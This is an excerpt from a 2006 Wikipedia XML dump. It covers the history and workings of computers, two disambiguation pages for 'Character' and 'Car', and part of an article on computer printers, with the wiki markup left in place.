Originally, the term &quot;computer&quot; referred to a [[human computer|person who performed numerical calculations]] under the direction of a [[mathematician]], possibly with the aid of a variety of [[mechanical calculating device]]s such as the [[abacus]] onward. Examples of early calculating devices, the first ancestors of the computer, included the [[abacus]] and the [[Antikythera mechanism]], an [[ancient Greece|ancient Greek]] device for calculating the movements of [[planet]]s, dating from about 87 BCE. The end of the [[Middle Ages]] saw a reinvigoration of [[Europe]]an mathematics and engineering, and [[Wilhelm Schickard]]'s 1623 device was the first of a number of European engineers to construct a mechanical calculator 

[[Charles Babbage]] was the first to conceptualize and design a fully programmable computer as early as 1837, but due to a combination of the limits of the technology of the time, limited finance, and an inability to resist tinkering with his design, the device was never actually constructed in his lifetime. A number of technologies that would later prove useful in computing, such as the [[punch card]] and the [[vacuum tube]] had appeared by the end of the 19th century, and large-scale automated data processing using punch cards was performed by tabulating machines designed by [[Hermann Hollerith]].  

During the first half of the 20th century, many scientific computing needs were met by increasingly sophisticated, special-purpose [[analog computer]]s, which used a direct mechanical or [[electricity|electrical]] model of the problem as a basis for computation. These became increasingly rare after the development of the programmable digital computer.

A succession of steadily more powerful and flexible computing devices were constructed in the 1930s and 1940s, gradually adding the key features of modern computers, such as the use of digital electronics (invented by [[Claude Shannon]] in 1937) and more flexible programmability. Defining one point along this road as &quot;the first computer&quot; is exceedingly difficult. Notable achievements include the [[Atanasoff Berry Computer]], a special-purpose machine that used valve-driven (vacuum tube) computation, [[Binary numeral system|binary]] numbers, and regenerative memory; the secret British [[Colossus computer]] (1944), which had limited programmability but demonstrated that a device using thousands of valves could be made reliable and reprogrammed electronically; the American [[ENIAC]] (1946) &amp;mdash; which was one of the first general purpose machine, but still used the decimal system and incorporated an inflexible architecture that meant reprogramming it essentially required it to be rewired and [[Konrad Zuse]]'s Z machines, with the electromechanical [[Z3]] (1941) being the first working machine featuring automatic binary arithmetic and feasible programability.

The team who developed ENIAC, recognizing its flaws, came up with a far more flexible and elegant design, which has become known as the [[Von Neumann architecture|stored program architecture]], which is the basis from which virtually all modern computers were derived. A number of projects to develop computers based on the stored program architecture commenced in the late 1940s; the first of these to be up and running was the [[Small-Scale Experimental Machine]], but the [[EDSAC]] was perhaps the first ''practical'' version.

[[Image:Apple IIe original.jpg|thumb|left|The [[Apple II]], an early personal computer]]

Valve-driven computer designs were in use throughout the 1950s, but were eventually replaced with [[transistor]]-based computers, which were smaller, faster, cheaper, and much more reliable, thus allowing them to be commercially produced, in the 1960s. By the 1970s, the adoption of [[integrated circuit]] technology had enabled computers to be produced at a low enough cost to allow individuals to own a [[personal computer]] of the type familiar today.

==How computers work: the stored program architecture==
While the technologies used in computers have changed dramatically since the first electronic, general-purpose, computers of the 1940s, most still use the [[von Neumann architecture|stored program architecture]] (sometimes called the von Neumann architecture; as the article describes the primary inventors were probably ENIAC designers [[J. Presper Eckert]] and [[John William Mauchly]]). The design made the universal computer a practical reality.

The architecture describes a computer with four main sections: the [[arithmetic and logic unit]] (ALU), the [[control unit|control circuitry]], the [[computer storage|memory]], and the input and output devices (collectively termed I/O). These parts are interconnected by a bundle of wires (a &quot;[[computer bus|bus]]&quot;) and are usually driven by a timer or [[Clock signal|clock]] (although other [[event]]s could drive the control circuitry).

Conceptually, a computer's memory can be viewed as a list of cells.  Each cell has a numbered &quot;address&quot; and can store a small, fixed amount of information. This information can either be an instruction, telling the computer what to do, or data, the information which the computer is to process using the instructions that have been placed in the memory.  In principle, any cell can be used to store either instructions or data.

The [[ALU]] is in many senses the heart of the computer. It is capable of performing two classes of basic operations: arithmetic operations, the core of which is the ability to add or subtract two numbers but also encompasses operations like &quot;multiply this number by 2&quot; or &quot;divide by 2&quot; (for reasons which will become clear later), as well as some others. The second class of ALU operations involves ''comparison'' operations, which, given two numbers, can determine if they are equal, and if not, which is of greater magnitude.

The I/O systems are the means by which the computer receives information from the outside world, and reports its results back to that world. On a typical personal computer, input devices include objects like the keyboard and [[computer mouse|mouse]], and output devices include [[computer monitor]]s, [[printer]]s and the like, but as will be discussed later a huge variety of devices can be connected to a computer and serve as I/O devices.

The control system ties this all together. Its job is to read instructions and data from memory or the I/O devices, decode the instructions, providing the ALU with the correct inputs according to the instructions, &quot;tell&quot; the ALU what operation to perform on those inputs, and send the results back to the memory or to the I/O devices. One key component of the control system is a counter that keeps track of what the address of the current instruction is; typically, this is incremented each time an instruction is executed, unless the instruction itself indicates that the next instruction should be at some other location (allowing the computer to repeatedly execute the same instructions).

Since the 1980s the ALU and control unit (collectively called a [[central processing unit]] or CPU) have typically been located on a single [[integrated circuit]] called a [[microprocessor]].

The functioning of such a computer is in principle quite straightforward. Typically, on each clock cycle, the computer fetches instructions and data from its memory. The instructions are executed, the results are stored, and the next instruction is fetched. This procedure repeats until a ''halt'' instruction is encountered.

Larger computers, such as some [[minicomputer]]s, [[mainframe computer]]s, [[server]]s, differ from the model above in one significant aspect; rather than one CPU they often have a number of them. [[Supercomputer]]s often have highly unusual architectures significantly different from the basic stored-program architecture, sometimes featuring thousands of CPUs, but such designs tend to be useful only for specialized tasks.

==Digital circuits==
The conceptual design above could be implemented using a variety of different technologies. As previously mentioned, a stored program computer could be designed entirely of mechanical components like Babbage's. However, [[digital circuits]] allow [[Boolean logic]] and [[binary arithmetic|arithmetic using binary numerals]] to be implemented using [[relay]]s — essentially, electrically controlled switches. Shannon's famous thesis showed how relays could be arranged to form units called [[logic gate]]s, implementing simple Boolean operations. Others soon figured out that [[vacuum tube]]s — electronic devices, could be used instead. Vacuum tubes were originally used as a signal [[amplifier]] for radio and other applications, but were used in digital electronics as a very fast switch; when electricity is provided to one of the pins, current can flow through between the other two.

Through arrangements of logic gates, one can build digital circuits to do more complex tasks, for instance, an [[adder (electronics)|adder]], which implements in electronics the same method — in computer terminology, an [[algorithm]] — to add two numbers together that children are taught — add one column at a time, and carry what's left over. Eventually, through combining circuits together, a complete ALU and control system can be built up. This does require a considerable number of components. [[CSIRAC]], one of the earliest stored-program computers, is probably close to the smallest practically useful design. It had about 2,000 valves, some of which were &quot;dual components&quot;, so this represented somewhere between 2 and 4,000 logic components.

Vacuum tubes had severe limitations for the construction of large numbers of gates. They were expensive, unreliable (particularly when used in such large quantities), took up a lot of space, and used a lot of electrical power, and, while incredibly fast compared to a mechanical switch, had limits to the speed at which they could operate. Therefore, by the 1960s they were replaced by the [[transistor]], a new device which performed the same task as the tube but was much smaller, faster operating, reliable, used much less power, and was far cheaper.

[[Image:InternalIntegratedCircuit2.JPG|thumb|[[Integrated circuit]]s are the basis of modern digital computing hardware.]]

In the 1960s and 1970s, the transistor itself was gradually replaced by the [[integrated circuit]], which placed multiple transistors (and other components) and the wires connecting them on a single, solid piece of silicon. By the 1970s, the entire ALU and control unit, the combination becoming known as a [[CPU (computer)|CPU]], were being placed on a single &quot;chip&quot; called a [[microprocessor]]. Over the history of the integrated circuit, the number of components that can be placed on one has grown enormously. The first IC's contained a few tens of components; as of 2005, modern microprocessors such from [[AMD]] and [[Intel]] contain over 100 million transistors. Furthermore, The 45nm SRAM chip announced in 2006 by Intel has more than 1 billion transistors.

Tubes, transistors, and transistors on integrated circuits can be used as the &quot;storage&quot; component of the stored-program architecture, using a circuit design known as a [[Flip-flop (electronics)|flip-flop]], and indeed flip-flops are used for small amounts of very high-speed storage. However, few computer designs have used flip-flops for the bulk of their storage needs. Instead, earliest computers stored data in [[Williams tube]]s — essentially, projecting some dots on a TV screen and reading them again, or [[mercury delay line]]s where the data was stored as sound pulses traveling slowly (compared to the machine itself) along long tubes filled with mercury. These somewhat ungainly but effective methods were eventually replaced by magnetic memory devices, such as [[magnetic core memory]], where electrical currents were used to introduce a permanent (but weak) magnetic field in some ferrous material, which could then be read to retrieve the data. Eventually, [[DRAM]] was introduced. A DRAM unit is a type of integrated circuit containing huge banks of an electronic component called a [[capacitor]] which can store an electrical charge for a period of time. The level of charge in a capacitor could be set to store information, and then measured to read the information when required.

===I/O devices===
I/O (short for input/output) is a general term for devices that send computers information from the outside world and that return the results of computations. These results can either be viewed directly by a user, or they can be sent to another machine, whose control has been assigned to the computer: In a [[robot]], for instance, the controlling computer's major output device is the robot itself.

The first generation of computers were equipped with a fairly limited range of input devices. A [[punch card]] reader, or something similar, was used to enter instructions and data into the computer's memory, and some kind of printer, usually a modified [[teletype]], was used to record the results. Over the years, a huge variety of other devices have been added. For the personal computer, for instance, [[computer keyboard|keyboard]]s and [[computer mouse|mice]] are the primary ways people directly enter information into the computer; and [[Computer monitor|monitor]]s are the primary way in which information from the computer is presented back to the user, though printers, speakers, and headphones are common, too. There is a huge variety of other devices for obtaining other types of input. One example is the [[digital camera]], which can be used to input visual information. There are two prominent classes of I/O devices. The first class is that of [[secondary storage]] devices, such as [[hard disk]]s, [[CD-ROM]]s, [[USB flash drive|key drives]] and the like, which represent comparatively slow, but high-capacity devices, where information can be stored for later retrieval; the second class is that of devices used to access [[computer network]]s. The ability to transfer data between computers has opened up a huge range of capabilities for the computer. The global [[Internet]] allows millions of computers to transfer information of all types between each other.

====Instructions====
The instructions interpreted by the control unit, and executed by the ALU, are not nearly as rich as a human language. A computer responds only to a limited number of instructions, which are precisely defined, simple, and unambiguous.  Typical sorts of instructions supported by most computers are &quot;copy the contents of memory cell 5 and place the copy in cell 10&quot;, &quot;add the contents of cell 7 to the contents of cell 13 and place the result in cell 20&quot;, &quot;if the contents of cell 999 are 0, the next instruction is at cell 30&quot;. All computer instructions fall into one of four categories: 1) moving data from one location to another; 2) executing arithmetic and logical processes on data; 3) testing the condition of data; and 4) altering the sequence of operations.

Instructions are represented within the computer as [[Binary numeral system|binary]] code — a base two system of counting. For example, the code for one kind of &quot;copy&quot; operation in the Intel line of microprocessors is 10110000. The particular instruction set that a specific computer supports is known as that computer's [[machine language]].

To slightly oversimplify, if two computers have CPUs that respond to the same set of instructions identically, software from one can run on the other without modification. This easy portability of existing software creates a great incentive to stick with existing designs, only switching for the most compelling of reasons, and has gradually narrowed the number of distinct [[instruction set architecture]]s in the marketplace.

===Programs===
[[Computer program]]s are simply lists of instructions for the computer to execute. These can range from just a few instructions which perform a simple task, to a much more complex instruction list which may also include tables of data. Many computer programs contain millions of instructions, and many of those instructions are executed repeatedly. A typical modern [[personal computer|PC]] (in the year 2005) can execute around 3 billion instructions per second. Computers do not gain their extraordinary capabilities through the ability to execute complex instructions. Rather, they do millions of simple instructions arranged by people known as [[programmer]]s.

In practice, people do not normally write the instructions for computers directly in machine language. Such programming is incredibly tedious and highly error-prone, making programmers very unproductive. Instead, programmers describe the desired actions in a &quot;high level&quot; [[programming language]] which is then translated into the machine language automatically by special computer programs ([[Interpreter (computing)|interpreter]]s and [[compiler]]s). Some programming languages map very closely to the machine language, such as [[Assembly Language]] (low level languages); at the other end, languages like [[Prolog]] are based on abstract principles far removed from the details of the machine's actual operation (high level languages). The language chosen for a particular task depends on the nature of the task, the skill set of the programmers, tool availability and, often, the requirements of the customers (for instance, projects for the US military were often required to be in the [[Ada programming language]]).

''[[Computer software]]'' is an alternative term for computer programs; it is a more inclusive phrase and includes all the ancillary material accompanying the program needed to do useful tasks. For instance, a [[Computer and video games|video game]] includes not only the program itself, but also data representing the pictures, sounds, and other material needed to create the virtual environment of the game. A [[computer application]] is a piece of computer software provided to many computer users, often in a retail environment. The stereotypical modern example of an application is perhaps the [[office suite]], a set of interrelated programs for performing common office tasks.

Going from the extremely simple capabilities of a single machine language instruction to the myriad capabilities of application programs means that many computer programs are extremely large and complex. A typical example is the [[Mozilla Firefox|Firefox web browser]], created from roughly 2 million lines of computer code in the [[C++]] [[programming language]]; there are many projects of even bigger scope, built by large teams of programmers. The management of this enormous complexity is key to making such projects possible; programming languages, and programming practices, enable the task to be divided into smaller and smaller subtasks until they come within the capabilities of a single programmer in a reasonable period.

Nevertheless, the process of developing software remains slow, unpredictable, and error-prone; the discipline of [[software engineering]] has attempted, with some partial success, to make the process quicker and more productive and improve the quality of the end product.

====Libraries and operating systems====
Soon after the development of the computer, it was discovered that certain tasks were required in many different programs; an early example was computing some of the standard mathematical functions. For the purposes of efficiency, standard versions of these were collected in libraries and made available to all who required them. A particularly common task set related to handling the gritty details of &quot;talking&quot; to the various I/O devices, so libraries for these were quickly developed.

By the 1960s, with computers in wide industrial use for many purposes, it became common for them to be used for many different jobs within an organization. Soon, special software to automate the scheduling and execution of these many jobs became available. The combination of managing &quot;hardware&quot; and scheduling jobs became known as the &quot;[[operating system]]&quot;; the classic example of this type of early operating system was [[OS/360]] by [[IBM]].

The next major development in operating systems was [[timesharing]] — the idea that multiple users could use the machine &quot;simultaneously&quot; by keeping all of their programs in memory, executing each user's program for a short time so as to provide the illusion that each user had their own computer. Such a development required the operating system to provide each user's programs with a &quot;virtual machine&quot; such that one user's program could not interfere with another's (by accident or design). The range of devices that operating systems had to manage also expanded; a notable one was [[hard disk]]s; the idea of individual &quot;files&quot; and a hierarchical structure of &quot;directories&quot; (now often called folders) greatly simplified the use of these devices for permanent storage. Security access controls, allowing computer users access only to files, directories and programs they had permissions to use, were also common.

Perhaps the last major addition to the operating system were tools to provide programs with a standardized [[graphical user interface]]. While there are few technical reasons why a GUI has to be tied to the rest of an operating system, it allows the operating system vendor to encourage all the software for their operating system to have a similar looking and acting interface.

Outside these &quot;core&quot; functions, operating systems are usually shipped with an array of other tools, some of which may have little connection with these original core functions but have been found useful by enough customers for a provider to include them. For instance, Apple's [[Mac OS X|Mac OS X]] ships with a [[Video editing software|digital video editor]] application.

Not all operating systems provide all of the above functions; operating systems for smaller computers typically provide fewer, such as the highly minimal operating systems for early [[microcomputer]]s. [[Embedded computer]]s may have a specialized operating system, or sometimes none at all. Instead, the custom programs written for their task perform all necessary functions that would be performed by an operating system in less specialized roles.

==Computer applications==
[[Image:Industrial Robotics in car production.jpg|200px|thumb|Computer-controlled robots are now common in industrial manufacture.]]
[[Image:Abyss.jpg|200px|thumb|[[Computer-generated imagery]] (CGI) is a central ingredient in motion picture visual effects. The seawater creature in ''[[The Abyss]]'' ([[1989]]) marked the acceptance of CGI in the visual effects industry.]]
[[Image:Furby.JPG|200px|thumb|[[Furby]]: many modern, mass-produced toys would not be possible without cheap embedded computers.]]

The first digital computers, with their large size and cost, mainly performed scientific calculations, often to support military objectives. The [[ENIAC]] was originally designed to calculate ballistics-firing tables for [[artillery]], but it was also used to calculate neutron cross-sectional densities to help in the design of the [[hydrogen bomb]]. This calculation, performed in December, 1945 through January, 1946 and involving over a million [[punch card]]s of [[data]], showed the design then under consideration would fail. (Many of the most powerful [[supercomputer]]s available today are also used for [[nuclear weapon]]s [[simulation]]s.) The [[CSIRAC|CSIR Mk I]], the first Australian stored-program computer, evaluated rainfall patterns for the [[catchment area]] of the [[Snowy Mountains]] Scheme, a large [[hydroelectric]] generation project. Others were used in [[cryptanalysis]], for example the first programmable (though not general-purpose) digital electronic computer, [[Colossus computer|Colossus]], built in 1943 during [[World War II]]. Despite this early focus of scientific and military engineering applications, computers were quickly used in other areas.

From the beginning, stored program computers were applied to business problems. The [[LEO computer|LEO]], a stored program-computer built by [[J. Lyons and Co.]] in the [[United Kingdom]], was operational and being used for inventory management and other purposes 3 years before [[IBM]] built their first commercial stored-program computer. Continual reductions in the cost and size of computers saw them adopted by ever-smaller organizations. Moreover, with the invention of the [[microprocessor]] in the 1970s, it became possible to produce inexpensive computers. In the 1980s, [[personal computers]] became popular for many tasks, including [[book-keeping]], writing and printing documents, calculating forecasts and other repetitive mathematical tasks involving [[spreadsheet]]s.

As computers have become less expensive, they have been used extensively in the creative arts as well. Sound, still pictures, and video are now routinely created (through [[synthesizers]], [[computer graphics]] and [[computer animation]]), and near-universally edited by computer. They have also been used for entertainment, with the [[Computer and video games|video game]] becoming a huge industry.

Computers have been used to control mechanical devices since they became small and cheap enough to do so; indeed, a major spur for integrated circuit technology was building a computer small enough to guide the [[Apollo program|Apollo missions]] and the [[Minuteman missile]], two of the first major applications for embedded computers. Today, it is almost rarer to find a powered mechanical device ''not'' controlled by a computer than to find one that is at least partly so. Perhaps the most famous computer-controlled mechanical devices are [[robot]]s, machines with more-or-less human appearance and some subset of their capabilities. Industrial robots have become commonplace in [[mass production]], but general-purpose human-like robots have not lived up to the promise of their fictional counterparts and remain either toys or research projects.

Robotics, indeed, is the physical expressions of the field of [[artificial intelligence]], a discipline whose exact boundaries are fuzzy but to some degree involves attempting to give computers capabilities that they do not currently possess but humans do. Over the years, methods have been developed to allow computers to do things previously regarded as the exclusive domain of humans — for instance, &quot;read&quot; handwriting, play chess, or perform [[symbolic integration]]. However, progress on creating a computer that exhibits &quot;general&quot; intelligence comparable to a human has been extremely slow.

===Networking and the Internet===

Computers have been used to coordinate information in multiple locations since the 1950s, with the US military's [[SAGE]] system the first large-scale example of such a system, which led to a number of special-purpose commercial systems like [[Sabre (computer system)|Sabre]].

In the 1970s, computer engineers at research institutions throughout the US began to link their computers together using telecommunications technology. This effort was funded by [[Advanced Research Projects Agency|ARPA]], and the [[computer network]] that it produced was called the [[ARPANET]]. The technologies that made the Arpanet possible spread and evolved. In time, the network spread beyond academic and military institutions and became known as the [[Internet]]. The emergence of networking involved a redefinition of the nature and boundaries of the computer. In the phrase of [[John Gage]] and [[Bill Joy]] (of [[Sun Microsystems]]), &quot;the network is the computer&quot;. Computer operating systems and applications were modified to include the ability to define and access the resources of other computers on the network, such as peripheral devices, stored information, and the like, as extensions of the resources of an individual computer. Initially these facilities were available primarily to people working in high-tech environments, but in the 1990s the spread of applications like [[e-mail]] and the [[World Wide Web]], combined with the development of cheap, fast networking technologies like [[Ethernet]] and [[ADSL]] saw computer networking become ubiquitous almost everywhere. In fact, the number of computers that are networked is growing phenomenally. A very large proportion of [[personal computers]] regularly connect to the [[Internet]] to communicate and receive information.

==Computing professions and disciplines==

In the developed world, virtually every [[profession]] makes use of computers.  However, certain professional and academic disciplines have evolved that specialize in techniques to construct, program, and use computers.  Terminology for different professional disciplines is still somewhat fluid and new fields emerge from time to time: however, some of the major groupings are as follows:

*[[Computer engineering]] is the branch of [[electronic engineering]] devoted to the physical construction of computers and their attendant components.
*[[Computer science]] is an academic study of the processes related to computation, such as developing efficient [[algorithm]]s to perform specific tasks. It tackles questions as to whether problems can be solved at all using a computer, how efficiently they can be solved, and how to construct efficient programs to compute solutions. A huge array of specialties has developed within computer science to investigate different classes of problems.
*[[Software engineering]] concentrates on methodologies and practices to allow the development of reliable software systems while minimizing, and reliably estimating, costs and timelines.
*[[Information system]]s concentrates on the use and deployment of computer systems in a wider organizational (usually business) context.
*Many disciplines have developed at the intersection of computers with other professions; one of many examples is experts in [[Geographic information system|geographical information systems]] who apply computer technology to problems of managing geographical information.

There are two major professional societies dedicated to computers, the [[Association for Computing Machinery ]] and [[IEEE]] [[Computer Society]].

==See also==

{{wiktionary}}
{{wikiquote}}
{{Commons|Computer}}
*[[Association for Computing Machinery]]
*[[IEEE Computer Society]]
*[[Computer hardware]]
*[[Computability theory (computation) | Computability theory]]
*[[Computer datasheet]]
*[[Computer expo]]
*[[Computer science]]
*Computer types: [[analog computer]], [[hybrid computer]], [[supercomputer]], [[desktop computer|desktop]], [[laptop]], [[desknote]], [[roll-away computer]], [[embedded computer]], [[cart computer]], [[tablet pc]], [[handheld computer]], [[subnotebook]], and [[server]]
*[[Computing]]
*[[Computers in fiction]]
*[[Computer security]] and [[Computer insecurity]] challenges such as: [[malware]], [[phishing]], [[spam]], and how to solve them, such as [[firewall (networking)|firewall]], [[computer security audit]]
*[[Digital]]
*[[History of computing]]
*[[List of computing topics]]
*[[Personal computer]]
*[[Word processing]]
*[[Computer programming]]
*[[Quantum computer]]

==External links==
* [http://www.diycalculator.com/sp-mechcomp.shtml The first mechanical computers] - A brief history
* [http://www.diycalculator.com/sp-elecmechcomp.shtml The first electromechanical computers] - A brief history
* [http://www.diycalculator.com/sp-eleccomp.shtml The first electronic computers] - A brief history
* [http://www.compuforums.org/ Discuss Computers / Computing]
* [http://www.computerhistory.org/ Computer History]
* [http://www.apple.com Apple Computers]
* [http://www.computerinfoworld.info Purchasing A Computer]
[[Category:Computer science]]
[[Category:Computing]]
[[Category:Computer hardware]]

{{Link FA|vi}}

[[af:Rekenaar]]
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[[ast:Computadora]]
[[bg:Компютър]]
[[bn:গণকযন্ত্র (কমপিউটার)]]
[[br:Urzhiataer]]
[[bs:Računar]]
[[ca:Ordinador]]
[[cs:Počítač]]
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[[de:Computer]]
[[eo:Komputilo]]
[[es:Computadora]]
[[et:Arvuti]]
[[fa:رایانه]]
[[fi:Tietokone]]
[[fo:Telda]]
[[fr:Ordinateur]]
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[[ja:コンピュータ]]
[[ko:컴퓨터]]
[[ku:Kompûter]]
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[[mg:Mpikajy]]
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[[ru:Компьютер]]
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[[sr:Рачунар]]
[[sv:Dator]]
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[[te:కంప్యూటరు]]
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[[zh:计算机]]</text>
    </revision>
  </page>
  <page>
    <title>Character</title>
    <id>5269</id>
    <revision>
      <id>38746874</id>
      <timestamp>2006-02-08T10:05:14Z</timestamp>
      <contributor>
        <username>Clemente</username>
        <id>276393</id>
      </contributor>
      <text xml:space="preserve">'''Character''' may mean:

*Persons:
** [[Fictional character]]
** [[Video game character]], either a [[player character]] or a [[non-player character]]
** [[Moral character]]
** [[Character structure]], in psychology, a constellation of enduring motivational and other traits that are manifested in the ways that an individual reacts to various challenges
*Symbols:
** [[Grapheme]] such as a letter, ideogram, numeral, or punctuation mark
** [[Character (computing)]]
** [[Character (mathematics)]]

* ''[[Character (1997 movie)]]''

* ''[[Character (album)]]'' by Dark Tranquillity

*[[Sacramental character]], a supernatural mark made on a person's soul by Catholic sacraments


'''See also:'''
*[[Typography]]
*[[In character]], a term used in role-playing games
*[[Break character]], a term used in drama
* [[Characteristic]] (another disambiguation page)

{{disambig}}

[[de:Charakter]]
[[eo:Litero]]
[[es:Carácter]]
[[nl:Letter]]
[[fr:Caractère]]
[[pl:charakter]]</text>
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  </page>
  <page>
    <title>Car (disambiguation)</title>
    <id>5270</id>
    <revision>
      <id>39286475</id>
      <timestamp>2006-02-12T02:34:27Z</timestamp>
      <contributor>
        <ip>203.109.189.243</ip>
      </contributor>
      <text xml:space="preserve">{{wiktionarypar|car}}
'''Car''' may mean:
* [[Motorcar]] or [[Automobile]] (American usage)
* Car and [[cdr]], related functions in some computer programming languages such as Lisp
* [[Car (Carians)]] or Kar, the legendary ancestor of the [[Carians]] (Herodotus, 1.171)
* [[Carina (constellation)]], standard astronomical abbreviation
* [[Cars, France]], a commune in the [[Gironde]] département
* [[The Cars]], a musical group
* [[Chariot]], [[carriage]], or [[cart]] (archaic)
* [[Elevator]] car
* [[Railroad car]]
* [[Tsar]], sometimes transcribed ''car'' 

See also:
* [[CAR]]

{{TLAdisambig}}
[[da:Vogn]]</text>
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  </page>
  <page>
    <title>Computer printer</title>
    <id>5272</id>
    <revision>
      <id>41819935</id>
      <timestamp>2006-03-01T23:24:30Z</timestamp>
      <contributor>
        <username>Pascal666</username>
        <id>49293</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">{{cleanup-date|January 2006}}
A '''computer printer''' is a [[computer peripheral]] device that produces  a [[hard copy]] (permanent [[human-readable]] [[text]] and/or [[graphics]], usually on [[paper]]) from [[data]] stored in a [[computer]] connected to it. The world's first computer printer was a 19th-century mechanically driven apparatus invented by [[Charles Babbage]] for his [[Difference Engine]].
[[Image:Kjobviewer.png|right]]
==Printing mode==

The data received by a printer may be:
# [[plain text|a string of characters]]
# [[raster graphics|a bitmapped image]]
# [[vector graphics|a vector image]]

Some printers can process all three types of data, others not.

[[Daisy wheel printer]]s can handle only plain text data or rather simple point plots.

[[Plotter]]s typically process vector images.

[[PostScript]] and [[Printer Control Language|PCL]] printers can combine all three types of data.

Today it is common to print everything (even plain text) by sending ready bitmapped images to the printer, because it allows better control over formatting.&amp;nbsp; Many [[printer driver]]s do not use the text mode at all, even if the printer is capable of it.

==Monochrome, color and photo printers==

A [[monochrome]] printer can only produce an [[image]] consisting of one [[color]], usually [[black]].  A monochrome printer may also be able to produce graduations of [[tone]] of that color, such as a [[grayscale|grey-scale]].

A color printer can produce images of multiple colors.

A photo printer is a color printer that can produce images that mimic the [[Gamut|color range]] ([[gamut]]) and [[resolution]] of [[photograph]]ic methods of printing.

{{sect-stub}}

==Methods of image creation==

The [[medium]] for most printers is [[paper]], so they are usually classified according to the method of image creation:

===Toner-based printers===

[[Laser printer]]s refer to the method used to adhere [[toner]] to the media. The advent of cost-effective, [[precision]] [[laser]]s has made them the dominant [[toner]]-based monochrome printer type for home and office applications. Another toner based printer is the [[LED printer]] which uses an array of [[LED]]s instead of a laser to cause toner adhesion.

===Inkjet printers===
{{main|Inkjet printer}}

[[Inkjet printer]]s [[atomization|spray]] very small, precise amounts (usually a few [[picolitre]]s) of [[ink]] onto the media.  For color applications including photo printing, ink jet methods are dominant. Inkjet printers or bubble-jet printers are one of the most commonly used printers. They consist of nozzles that produce very small ink bubbles that turn into tiny droplets of ink. The dots formed are the size of tiny pixels. Ink-jet printers can print high quality text and graphics. They are also almost silent in operation. They are cheaper than laser printers, but are expensive to run as their cartridges need to be frequently replaced.

===Impact printers===

Impact printers rely on a [[force|forcible]] impact to [[transfer]] ink to the media, similar to [[typewriter]]s, that are typically limited to reproducing [[text]].  A [[daisy wheel printer]] is a specific type of impact printer where the [[Typesetting|type]] is moulded around the edge of a wheel. A golf ball typewriter is similar to the daisy wheel type but has the characters distributed over the face of the globe shape.

===Dot-matrix printers===
{{main|Dot matrix printer}}

In the general sense many printers rely on a [[matrix (math)|matrix]] of [[pixel]]s, or [[dot]]s, that together form the larger image.  However, the term [[dot matrix printer]] is specifically used for impact printers that use a matrix of small [[pin]]s to create precise dots.  The advantage of dot-matrix over other impact printers is that they can produce [[graphical]] images in addition to text; however the text is generally of poorer quality than impact printers that use letterforms (''type'').

[[Image:Tandy1000HX.jpg|thumbnail|left|275px|A [[Tandy 1000]] HX with a Tandy DMP-133 Dot-matrix printer.]]
Dot-matrix printers can be broadly divided into two major classes:
* Ballistic wire printers (discussed in the [[dot matrix printer]]s article)
* [[Stored energy printer]]s

Dot matrix printers can either be [[character (computing)|character]]-based or line-based (that is, a single horizontal series of pixels across the page), referring to the configuration of the [[print head]].

At one time Dot matrix printers were one of the more common types of printers used for general use - such as for home and small office use.  Such printers would have either 9 or 24 pins on the print head.  24 pin print heads were able to print at a higher quality.  Once the price of Inkjet printers dropped to the point where they were competitive with Dot matrix printers, Dot matrix printers began to fall out of favor for general use.

Some dot matrix printers, in example the NEC P6300, can be upgraded to print in color. This is achieved through the use of a four-color ribbon mounted on a mechanism (provided in an upgrade kit that replaces the standard black ribbon mechanism after installation) that rises and lowers the ribbons as needed. Color graphics are generally printed in 4 passes at standard resolution, thus slowing down printing considerably. As a result, color graphics can take up to 4 times longer to print than standard monochrome graphics, or up to 8-16 times as long at high resolution mode.

Dot matrix printers are still commonly used in low-cost, low-quality applications like [[cash register]]s, or in demanding, very high volume applications like [[invoice]] printing. The fact that they use an impact printing method allows them to be used to print multi-part documents using [[carbonless copy paper]] (like sales invoices and credit card receipts), whereas other printing methods are unusable with paper of this type. Dot-matrix printers are now (as of 2005) rapidly being superseded even as receipt printers.

=== Line printers ===

[[Line printer]]s, as the name implies, print an entire line of text at a time. Two principle designs existed. In ''drum printers'', a drum carries the entire character set of the printer repeated in each column that is to be printed. In ''chain printers'' (also known as ''train printers''), the character set is arranged multiple times around a chain that travels horizontally past the print line. In either case, to print a line, precisely timed hammers strike against the back of the paper at the exact moment that the correct character to be printed is passing in front of the paper. The paper presses forward against a ribbon which then presses against the character form and the impression of the character form is printed onto the paper.

These printers were the fastest of all impact printers and were used for bulk printing in large computer centres.  They were virtually never used with [[personal computer]]s and have now been partly replaced by high-speed laser printers.

=== Other printers ===
A number of other sorts of printers are important for historical reasons, or for special purpose uses:

* [[Digital minilab]] ([[photographic paper]])
* [[Dye-sublimation printer]]s are sometimes used to produce high-quality color, or photographic, prints
* [[VT52|Electrolytic printer]]s
* [[Friden Flexowriter]]
* [[IBM Selectric typewriter]]
* [[Microsphere]] (special paper)
* [[Spark printer]] (supplied for [[Sinclair ZX81]])
* [[Teletype]]
* [[Thermal printer]] (heat sensitive paper)
** [[barcode printer]] uses heat to print [[barcode]]s
* [[Thermal wax printer]] (Xerox/Tektronix)

== The printer manufacturing business ==
Often the [[razor and blades business model]] is applied.  That is, a company may sell a printer at cost, and make profits on the [[ink cartridge]], [[paper]], or some other [[replacement part]].  This has caused [[legal dispute]]s regarding the [[right]] of companies other than the printer [[manufacturer]] to sell [[compatible]] ink cartridges.

== Printing speed ==

The speed of early printers was measured in units of '''characters per second'''. More modern printers are measured in '''pages per minute'''. These measures are used primarily as a marketing tool, and are not well standardised. Usually pages per minute refers to sparse monochrome office documents, rather than dense pictures which usually print much more slowly.

== Printer job classes ==

They are collections of printers. [[Print job]]s sent to a class are forwarded to the first available printer in the class.

== Forensic identification ==
{{section-stub}} &lt;!-- Identical with copiers. Changes here should be done there too. --&gt;
Similar to [[forensic identification]] of [[typewriter]]s, computer printers and [[copier]]s can be traced down by imperfections in their output. The mechanical tolerances of the toner and paper feed mechanisms cause [[banding]], which contain information about the individual device's mechanical properties. It is sometimes possible to identify the manufacturer and brand, but in some cases the individual printer can be identified from a set of known ones by comparing their outputs. [http://news.uns.purdue.edu/UNS/html4ever/2004/041011.Delp.forensics.html] [http://dsc.discovery.com/news/briefs/20041011/printer.html]

